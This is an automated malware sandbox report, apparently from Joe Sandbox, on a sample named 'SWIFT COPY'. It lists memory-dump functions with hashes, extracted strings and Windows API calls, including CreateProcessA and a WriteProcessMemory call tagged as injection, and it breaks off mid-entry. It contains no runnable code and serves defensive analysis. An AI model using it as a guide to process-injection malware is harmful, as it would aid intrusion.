Opcode ID: e89ffbfac4062101a1dba54554198ced8e80fb5b134ca7828837d6b7e8a75bee
Instruction ID: 5b33e952994731cdf978dc6dc58cd0ad3dff715ce435c3c4d5f6bbff3ee4c7cf
Opcode Fuzzy Hash: e89ffbfac4062101a1dba54554198ced8e80fb5b134ca7828837d6b7e8a75bee
Instruction Fuzzy Hash: 40329F70A102588FDB58DFB9C8507AEBBF2BF88300F14856AD449AB795DB349C45CFA1

Function 099A2BE0 Relevance: 4.1, Strings: 3, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ry, xrefs: 099A2FCB
ry, xrefs: 099A2FE2
ry, xrefs: 099A2FC4

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: ry$ry$ry
API String ID: 0-128149707
Opcode ID: 95e4b84ecfddd7efa3b2e70f56df14870d1d915d2f7f6de892680f5e72884da2
Instruction ID: a8c2c6909c59af679086080ecd6488e0318991734b6031b5750a870da68ae00b
Opcode Fuzzy Hash: 95e4b84ecfddd7efa3b2e70f56df14870d1d915d2f7f6de892680f5e72884da2
Instruction Fuzzy Hash: DEE19174D1420ADFDB04CFA5C4854AEFBB2FF89340B14D969D422AB259D738A982CFD4

Function 099A2C10 Relevance: 4.1, Strings: 3, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ry, xrefs: 099A2FCB
ry, xrefs: 099A2FE2
ry, xrefs: 099A2FC4

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: ry$ry$ry
API String ID: 0-128149707
Opcode ID: d5ec9d92a16aa22050f4a27e60ce0e2dc7857c3c7c378c61a6e856d9a7052c91
Instruction ID: 44420a9e87499b365d134092105badd857cb3b6a9446fae3ddcda6fedf2b4b21
Opcode Fuzzy Hash: d5ec9d92a16aa22050f4a27e60ce0e2dc7857c3c7c378c61a6e856d9a7052c91
Instruction Fuzzy Hash: F0E1A374D1420ADFCB04CFA5C4854AEFBB2FF89340B15D969D422AB259D738A982CFD4

Function 099A2CF8 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ry, xrefs: 099A2FCB
ry, xrefs: 099A2FE2
ry, xrefs: 099A2FC4

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: ry$ry$ry
API String ID: 0-128149707
Opcode ID: 5e8bcbb900c4b5dfd6b5878499976038121e9b475a62dd366fea00dff023e863
Instruction ID: 8f4b7fd1c77b9dc83dfd06c247536db062b9e62d75e3d6626e8eed98b279ce11
Opcode Fuzzy Hash: 5e8bcbb900c4b5dfd6b5878499976038121e9b475a62dd366fea00dff023e863
Instruction Fuzzy Hash: 91C14C74D1520ADFCB14CF95C4858AEFBB2FF89340B10D969D426AB219D734A982CF94

Function 099A0AF2 Relevance: 4.0, Strings: 3, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tetq, xrefs: 099A0BF9
Tetq, xrefs: 099A0E00
z^I, xrefs: 099A0D51

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Tetq$Tetq$z^I
API String ID: 0-2759915012
Opcode ID: 97ae65e25326317ae75d236178f08ae382534cfeb897882379595a257c8b3d03
Instruction ID: 8869fda6d137d557cd8888f72002ca179894a10a5280496c828396e6ee76fdfc
Opcode Fuzzy Hash: 97ae65e25326317ae75d236178f08ae382534cfeb897882379595a257c8b3d03
Instruction Fuzzy Hash: 59B11674E05259CFCB08CFA9C99499EFBF2FF89300F14942AD415AB268D7399941CF94

Function 099A0B90 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tetq, xrefs: 099A0BF9
Tetq, xrefs: 099A0E00
z^I, xrefs: 099A0D51

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Tetq$Tetq$z^I
API String ID: 0-2759915012
Opcode ID: 30b813691759d00844bb36cfd3c1cc9bd279d38584269ed7d6d1d0d58ac10591
Instruction ID: 4fbf7e59b81af54635c7341515da128d32f7cc2a18c238f1591cbe37d28e9617
Opcode Fuzzy Hash: 30b813691759d00844bb36cfd3c1cc9bd279d38584269ed7d6d1d0d58ac10591
Instruction Fuzzy Hash: 0A91C3B4E142198FCB08CFAAC59459EFBB2FF89300F24942AD415BB354D7359945CFA4

Function 099A9598 Relevance: 2.7, Strings: 2, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UC;", xrefs: 099A9786
TuA, xrefs: 099A9708

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: TuA$UC;"
API String ID: 0-2071649361
Opcode ID: 0a6c68760727a7bf6657d995193d509be9c600448756eda4dc36126c68d2dee9
Instruction ID: e070a9567197f1b47381ee2808c0a5094ea02735c02328da3941a7c574578d2e
Opcode Fuzzy Hash: 0a6c68760727a7bf6657d995193d509be9c600448756eda4dc36126c68d2dee9
Instruction Fuzzy Hash: C291E774D05209EFCB08CFAAD98159EFBF2FF89350F10A52AE415A7264D7349942CF90

Function 099A958A Relevance: 2.7, Strings: 2, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UC;", xrefs: 099A9786
TuA, xrefs: 099A9708

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: TuA$UC;"
API String ID: 0-2071649361
Opcode ID: cb4b8461853e39876971833bf8f092b132d04158249ff00c73d22504302193cc
Instruction ID: dbc5457112420909d0a628582195f619a836c003b123a19db792cd96fa25202d
Opcode Fuzzy Hash: cb4b8461853e39876971833bf8f092b132d04158249ff00c73d22504302193cc
Instruction Fuzzy Hash: 5691D575D05209AFCB08CFAAE9C159EFBF2FF89350F10A42AE415A7264D7349942CF90

Function 099A7F62 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

5=6, xrefs: 099A809E

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 5=6
API String ID: 0-2897083178
Opcode ID: 5fc32711835b8b8184c92cb5f844e0ec436d004c4bceb2ba1280a08106c48456
Instruction ID: 90ee9281bb9cf199919a57112f27d9d82fe9c65bb00d68ede7bf3a55bc664a0c
Opcode Fuzzy Hash: 5fc32711835b8b8184c92cb5f844e0ec436d004c4bceb2ba1280a08106c48456
Instruction Fuzzy Hash: 7B714574E0521A9FCB48CFE6D9454AEFBF2FF89340F10992AD416E7254D7389A018FA0

Function 099A7F70 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

5=6, xrefs: 099A809E

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 5=6
API String ID: 0-2897083178
Opcode ID: 19ae730dd04957da4fdcc9d5bd09a24858db7cc1a6fe2b1ba1ecfdf898ed8cec
Instruction ID: fdb5770c90fc0ac96900a81603b88d0cbcc35b777cf869c2d904b8d6c89336c8
Opcode Fuzzy Hash: 19ae730dd04957da4fdcc9d5bd09a24858db7cc1a6fe2b1ba1ecfdf898ed8cec
Instruction Fuzzy Hash: CB612574E0521A9FCB48CFE6D9454AEFBF2FF89340F10992AD416E7254D7389A018FA4

Function 099A1440 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

-2m, xrefs: 099A1563

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: -2m
API String ID: 0-2686427999
Opcode ID: 1fbab02a853681d5a0989c28071c8db95988105bc5f76b92defebb7deced5095
Instruction ID: b113fd9959d07d22a53cbc50c9c39018960da677d5a016d3469e454dc621dcce
Opcode Fuzzy Hash: 1fbab02a853681d5a0989c28071c8db95988105bc5f76b92defebb7deced5095
Instruction Fuzzy Hash: EB513D74E05219CFCB08CFAAC8406AEFBF2FF89341F24D46AD41AA7254D7349941CBA5

Function 099A1450 Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

-2m, xrefs: 099A1563

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: -2m
API String ID: 0-2686427999
Opcode ID: 14e2a371c6ec69a3a733524f786469b00586673037ec1cf8f10bd43a1a2a5c8d
Instruction ID: a7a1da6fa1bdabb149c1678e4343a5601959a56a6d1548b04f68f330bc5bd10e
Opcode Fuzzy Hash: 14e2a371c6ec69a3a733524f786469b00586673037ec1cf8f10bd43a1a2a5c8d
Instruction Fuzzy Hash: 39510BB4E052198FCB08CF9AC9405AEFBF2FF89341F24E56AD41AA7254D7349941CBA4

Function 04FB1AEE Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93bc51d067990b5b908c14ab85d23406dee632b2f8907a2277e1a0a6bb26e89d
Instruction ID: da61d610ce171d6a8610eb23d64310a1ed3137191e082be4c30f1aa0b44a9350
Opcode Fuzzy Hash: 93bc51d067990b5b908c14ab85d23406dee632b2f8907a2277e1a0a6bb26e89d
Instruction Fuzzy Hash: 51B14277A10302CFD309CF69C4C58D9BBA1FB52301B5B88A6E5868B650D735FA478BD1

Function 04FB1E56 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f5a8ca2a7312a9c973ddc1a5e445a2c16144e120ef4c5b34a99921b0591640
Instruction ID: 81ea89d4c030e5387a2caf45aba8ff2fec38cf22b6a8cca498e4cb2fb6e933b7
Opcode Fuzzy Hash: c6f5a8ca2a7312a9c973ddc1a5e445a2c16144e120ef4c5b34a99921b0591640
Instruction Fuzzy Hash: 5DA15077B14302CFE3098E79C4D98D97BA0FB5230175B88A2E4868B650D735FA478BD5

Function 04FB1B9F Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca7ff9a5130ad7adad56b25e72e249555facba4a12955e1acc0e05d769964b1
Instruction ID: 0e36cd4a14a360cf15e4aa63c739c0c7b396817cac01b2cbf3cd66dc6aa2928d
Opcode Fuzzy Hash: 4ca7ff9a5130ad7adad56b25e72e249555facba4a12955e1acc0e05d769964b1
Instruction Fuzzy Hash: A9A17177B14302CFE3098E7AC4C98C97BA4FB5230175B88A6E4868B650D335FA478BD5

Function 04FB2109 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008e84f9ba23cfb352fbf39b327697cb67a9cd47baf02ce7286a7cf35b66be4a
Instruction ID: a7862aeaeca15db226f265274f5f87b16e28a128c176a02fbeb1e643d7f0ec7a
Opcode Fuzzy Hash: 008e84f9ba23cfb352fbf39b327697cb67a9cd47baf02ce7286a7cf35b66be4a
Instruction Fuzzy Hash: 83A16177714302CFE3098E79C4C98D97BA0FB5230175B88A2E5868B650D735FA478BD5

Function 04FB1D71 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79a79be4c005c1228352aae948b460f0f1f295f92e86f7df5754e1c6df9e037
Instruction ID: c8e7a26af39a82851e957e9aa11a20c81a4bea55abc50165ad96ff3176cb5899
Opcode Fuzzy Hash: e79a79be4c005c1228352aae948b460f0f1f295f92e86f7df5754e1c6df9e037
Instruction Fuzzy Hash: E5A16177B14302CFE3098E79C4C98D97BA1FB5230175B88A6E4868B650D735FA478BD2

Function 04FB2033 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0326d3f2e6d4323d740ff0887dd6a737583565aebad463ebacff84ccfbc995ab
Instruction ID: 422172e618f2354207242c704947cc4c991cf0f9bfae6e2f67799600f805a2b1
Opcode Fuzzy Hash: 0326d3f2e6d4323d740ff0887dd6a737583565aebad463ebacff84ccfbc995ab
Instruction Fuzzy Hash: EFA16077B14302CFE3098E69C4C98D97BA0FB5330175B88A6E4868B650D735FA478BD6

Function 04FB1FD6 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b97f8b4cfdf1df485a097f38a01caf763f7d509e1c9d29f1f4f0b0edb0007f5c
Instruction ID: 10ba36dd59a953f510afe5b8887802bf65a741ced937de4fc9ef44b3453db232
Opcode Fuzzy Hash: b97f8b4cfdf1df485a097f38a01caf763f7d509e1c9d29f1f4f0b0edb0007f5c
Instruction Fuzzy Hash: 9EA15277B14302CFE3098E79C4C98D97BA0FB5230175788A6E4868B650D735FA478BD5

Function 04FB206B Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d31356871d3d8004ba1ba0e490c535e903f676d8d4c724d39a780ff47e5118a5
Instruction ID: ef0d10db7af4b416638849036de2745830f8191c38b050d6fc6a3575ed0a2c41
Opcode Fuzzy Hash: d31356871d3d8004ba1ba0e490c535e903f676d8d4c724d39a780ff47e5118a5
Instruction Fuzzy Hash: D2A16077B14302CFE3098E79C4C98D97BA0FB1220175B88A6E4868B650D735FA478BD6

Function 04FB1DE9 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 990bfbf1803b48cd35d98ccafa03cfdbe83c9225870d7e588ef73b822f09843a
Instruction ID: 1cc9a5e1112ff4f38fea80adffba99508fe8399d2b0bc95eb03721be5cb47569
Opcode Fuzzy Hash: 990bfbf1803b48cd35d98ccafa03cfdbe83c9225870d7e588ef73b822f09843a
Instruction Fuzzy Hash: 11A15277714302CFE3098E79C4C98D97BA0FB5220175B88A6E4868B650D735FA478BD5

Function 04FB21ED Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dcb6d858b79e4893934ba00ed25567160b9c6bf8b188a6acf4f379773042537
Instruction ID: 42a100287d6f62435a9cdd816d63a3702d096abae97007f42c46ad81b0e83e83
Opcode Fuzzy Hash: 0dcb6d858b79e4893934ba00ed25567160b9c6bf8b188a6acf4f379773042537
Instruction Fuzzy Hash: FA916077A14302CFE3098E69C4C98D97BA4FB1320175B88A2E5868B650D735FA478BD6

Function 04FB22F8 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a291910c7e19161a478e3c55fba05eb0b293b4a42c81bf20edc004231c31b99
Instruction ID: a5b6adee42fe34a425b07290eefaf868d6e395adaef92919ae5cbf19fe67093b
Opcode Fuzzy Hash: 9a291910c7e19161a478e3c55fba05eb0b293b4a42c81bf20edc004231c31b99
Instruction Fuzzy Hash: A2A14573B103128FD3088E1AC4C98D6BBA5FB5330075788A6E5868F655E734FA438BD5

Function 09D4C118 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec12d29c940e98fa39f46add2e45b14bad415b0ec15905c4557bd95791d0e355
Instruction ID: 4bd90e43f036afb892f4b4dbd2db256d14d21566bd4baafcb810e339804dd845
Opcode Fuzzy Hash: ec12d29c940e98fa39f46add2e45b14bad415b0ec15905c4557bd95791d0e355
Instruction Fuzzy Hash: 2BC16971A512189FCF14CFA5C9807DDBBB2EF88310F14C1AAE499AB655EB30D985CF90

Function 099A3480 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b009fee7dfe00c3f7103ca70d6993d0bb388819ca06bc5e033c114231819eaa6
Instruction ID: 975952533f43f2366aa5f2614ea85ebccbf3092bf339fd5aeb4e0c2913d7309e
Opcode Fuzzy Hash: b009fee7dfe00c3f7103ca70d6993d0bb388819ca06bc5e033c114231819eaa6
Instruction Fuzzy Hash: 3F510274E15209DFCB04CFA9D9859AEBBF2FF89310F1494A6D819A7324D730AA41CF91

Function 099A1E88 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d69baecd104808c3a27ebc0f3d84f3b73015030cffa341b516d55b93336621
Instruction ID: 45153a225b5fbf063d188c2f3f8168aa72ae8e57188bad236c59efd054e7388a
Opcode Fuzzy Hash: 98d69baecd104808c3a27ebc0f3d84f3b73015030cffa341b516d55b93336621
Instruction Fuzzy Hash: 5B21F671E016188BDB18CFABD9446DEBBF7EFC8310F14C06AD409A6268DB355946CF90

Function 099A1E79 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bced59702556580ad9ede3110786f856480c06973d60519fbb5dabbb08940a0
Instruction ID: 10c4cdb378bd5eaa7633a1bed286833eac3f86c1f45d65df8d3327b5387807f8
Opcode Fuzzy Hash: 6bced59702556580ad9ede3110786f856480c06973d60519fbb5dabbb08940a0
Instruction Fuzzy Hash: 9D21E9B1E016588BDB18CFA7D9447DEBBF3AFC8310F14C16AD409AA268DB351946CF50

Function 09B73CED Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 09B73F2E

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 98d4340c3f84e93089bf0d47474f268f12164f941a9f3bd565a94b2ef9284dda
Instruction ID: d667d809866a6b7eefa46094c950651748d09d56a934971024faa9bc2abfd842
Opcode Fuzzy Hash: 98d4340c3f84e93089bf0d47474f268f12164f941a9f3bd565a94b2ef9284dda
Instruction Fuzzy Hash: B9A16971D003198FEB10DF68C841BEDBAF2FF48324F1486A9E819A7290DB759985DF91

Function 09B73CF8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 09B73F2E

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f7e645257f61051960701687e13e362ebfdc80fef9aabb6bbfea01fe517bb217
Instruction ID: 69ec682451ffa122b39488304758cfb72a5345654e1f90c62d6cebf8989687e5
Opcode Fuzzy Hash: f7e645257f61051960701687e13e362ebfdc80fef9aabb6bbfea01fe517bb217
Instruction Fuzzy Hash: 58915871D003198FEB10DF68D841BEDBAF2FB48324F1486A9E819A7280DB759985DF91

Function 04FBE310 Relevance: 1.7, APIs: 1, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9d811a473cdc04ae44c6978ae5065d6acdb9a1d10fa4ceec63d49f98b3b351d0
Instruction ID: 7660a034acb9ba7fa0ec69f841f4f8bca64d089a2a895147782c65be9aea0a08
Opcode Fuzzy Hash: 9d811a473cdc04ae44c6978ae5065d6acdb9a1d10fa4ceec63d49f98b3b351d0
Instruction Fuzzy Hash: 75814370A00B458FDB24DF6AD44079ABBF1FF89304F048929D48ADBA50E775F84ACB91

Function 04FB8D94 Relevance: 1.6, APIs: 1, Instructions: 127COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 04FB8E51

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0265bb22812a51822b543dbe9d4d22c5c94a6c5f94607ba96389d91fa291d207
Instruction ID: ee32a072ff158fb4e135974c64fa45a18a6296500a598abca75c903733224203
Opcode Fuzzy Hash: 0265bb22812a51822b543dbe9d4d22c5c94a6c5f94607ba96389d91fa291d207
Instruction Fuzzy Hash: 1A5102B1C00619CFDB24DFAAC844BDEBBF5BF89314F20806AD448AB251D7796946CF91

Function 04FB78B8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 04FB8E51

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: d40ab2c771fa733dac4ffebfe2cdce8bc93be6f81a7d2aeaf3de4ff99050cc15
Instruction ID: 2e730bd25fd60cfce21f939368b489786d17705c1961b7650033de683239f261
Opcode Fuzzy Hash: d40ab2c771fa733dac4ffebfe2cdce8bc93be6f81a7d2aeaf3de4ff99050cc15
Instruction Fuzzy Hash: D741B0B0D00619CBDB24DFAAC844BDEBBF5BF89304F20846AD408AB251DB756946CF90

Function 09B73630 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 09B736C8

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 63766237cab9d55992e646536ba5ec7a95276c084670d09f2d04443f7b1c0464
Instruction ID: 0206f8212b5f1eba3a638a5a2ebe7f5b6d0414dbd8b309da228fffc01e635860
Opcode Fuzzy Hash: 63766237cab9d55992e646536ba5ec7a95276c084670d09f2d04443f7b1c0464
Instruction Fuzzy Hash: 852135719003499FDB14CFA9C881BEEBBF5FF88320F10882AE919A7250D7799940DB60

Function 09D4A56C Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09D4BD3D,?,?), ref: 09D4BDEF

Memory Dump Source

Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: dfe756063a9ff792cdce915dd06352a262ed28ed5f6a2025dfa98a8df30abaf0
Instruction ID: 5cc5899a53fb12c978d3011df64e64f42cd7ff6156ff8a1f4239d2890ced9d71
Opcode Fuzzy Hash: dfe756063a9ff792cdce915dd06352a262ed28ed5f6a2025dfa98a8df30abaf0
Instruction Fuzzy Hash: 9B31E0B5D002499FDB10CF9AD884AAEFBF5FF58320F14842AE919A7710D375A944CFA0

Function 09D4BD51 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09D4BD3D,?,?), ref: 09D4BDEF

Memory Dump Source

